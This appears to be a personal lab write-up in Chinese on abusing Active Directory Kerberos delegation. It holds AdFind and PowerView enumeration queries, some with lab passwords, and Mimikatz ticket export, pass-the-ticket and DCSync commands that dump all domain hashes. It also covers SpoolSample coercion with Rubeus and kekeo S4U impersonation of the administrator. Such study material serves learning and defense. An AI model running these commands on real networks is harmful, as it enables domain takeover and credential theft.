委派分为
非约束委派
约束委派
基于资源的约束性委派
委派具体的概念就不写了,网上挺多的
查找非约束委派的方法
需要一个普通域账号
Adfind.exe 查找
#查询域内配置非约束委派的主机
AdFind.exe -b "DC=superman,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
获得普通域账号saul的密码的情况下
AdFind.exe -h 10.10.10.8(域控ip) -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
#查询域内配置非约束委派的服务账号
AdFind.exe -b "DC=superman,DC=com" -f "(&(samAccountType=805306368))(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
powerview查找
#查询域内配置非约束委派的主机
get-netcomputer -unconstrained | select dnshostname,samaccountname
获取非约束委派的服务账号我用powerview失败了
非约束性委派利用演示
windows2012:10.10.10.10 域控 ad.superman.com
1、清空票据:klist purge or mimikatz.exe "privilege::debug" "kerberos::purge"
2、模拟域控访问win2012主机,使之产生票据:powershell运行命令Enter-PSSession -ComputerName user
3、使用获得shell,需要高权限,如主机的administrator或者system,这里我以administrator为例,机器的adminstator。
先使用beacon执行:dir \\ad\c$ 显示拒绝或者账号密码错误,没有截图,自己试验下就知道了,ad代表域控的机器名,不固定。
3.1导出票据:shell mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
3.2通过ptt将票据TGT注入到会话中:由于步骤2已经模拟域控登陆过了,所以直接执行mimikatz:shell mimikatz.exe "privilege::debug" "kerberos::ptt [c;5c5c5dc1]-2-0-60a10000-Administrator@krbtgt-SUPERMAN.COM.kirbi"
4、重新执行dir \\AD\c$,可以看到可以打印AD机器的c盘文件夹
5、导出域内所有hash mimikatz lsadump::dcsync /all /csv
上述的过程需要域管理员连接机器,比较被动,结合spooler打印机漏洞可以主动获得TGT票据
其实在实验中还测试了服务账号配置为非约束委派,机器用户不配置任何委派的情况,为的就是测试服务账号的非约束委派,当按照上述步骤做的时候发现没有生成高权限票据,怀疑是访问的方式不对,毕竟Enter-PSSession -ComputerName user连接的是机器用户,而服务账号的访问也没搜到什么资料如何访问,所以先搁置吧。
非约束性委派结合spooler打印机漏洞演示
注:机器账号必须开启非约束委派,而非服务账号。
使用SpoolSample,GitHub上面有,也有编译好的版本
[https://github.com/shanfenglan/test/tree/master/spooler]:
但是我的win2012使用该文件会报错,具体原因不知,换了个几个版本也一样,可能跟系统有关
由于没有实验成功,就脑洞模拟下,以后遇到高人了在请教请教
1、首先确定靶机spooler服务是否正常,默认都是自启动的;操作的机器需要是被非约束委派的机器账号
2、使spooler强制发送验证,SpoolSample.exe AD win2012 (SpoolSample.exe target机器名 监听机器名),由于上面说过了我失败了,就不截图了。
3、Rebeus监听模式:Rubeus.exe monitor /interval:1 /filteruser:AD$
也可以使用mimikatz导出票据 :mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
4、接下来的步骤跟之前的演示一样,导入票据,获取hash,关键的还是spooler的二进制利用程序跑不起来。
查找约束委派的方法
Adfind.exe查找
同样至少需要一个普通域账号的shell或账号密码
#查询域内配置约束委派的主机账号
AdFind.exe -b "DC=superman,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
只是机器账号但有域内账号密码的情况下
AdFind.exe -h 10.10.10.10 -u saul -up Openx123.. -b "DC=superman,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
#查询域内配置约束委派的服务账号
AdFind.exe -b "DC=superman,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
powerview查找
(注意使用dev版本https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
#查找域内配置约束委派的主机账号
Get-DomainComputer -TrustedToAuth -Domain superman.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto
#查找域内配置约束委派的服务账号
Get-DomainUser -TrustedToAuth -Domain superman.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto
约束性委派利用演示
首先一样,使用没有任何委派的普通域账号dir \\ad\c$是拒绝访问。使用该方法前提是有约束委派账号的明文密码或hash
以下实验为利用约束委派服务账号的过程
1、清空票据:klist purge
2、请求约束委派服务账号hack的TGT票据,利用工具kekeo: tgt::ask /user:hack /domain:superman.com /password:Openx123.. /ticket:test.kirbi
或者只有hash的情况下 /ticket
tgt::ask /user:websec /domain:redteam.club /NTLM:XXXXX /ticket:test.kirbi
3、使用s4uself和s4uproxy获取TGS票据:tgs:s4u /tgt:TGT_hack@Supermanxxxxxxxxxxx(上图箭头标注的票据名) /user:administrator@superman.com /service:cifs/ad.superman.com
4、导入ST票据进内存:kerberos::ptt TGS_administrator@supermanxxxxxxx(上图箭头标识的票据)
可以看到即使是saul用户依然可以dir \\ad\c$
以下为拿到域内机器账号的利用演示
其他步骤一样,就第二步不同,需要用ntlm获取TGT票据,拿mimikatz跑一下即可。
后面再学基于资源的约束性委派,那个才是重点。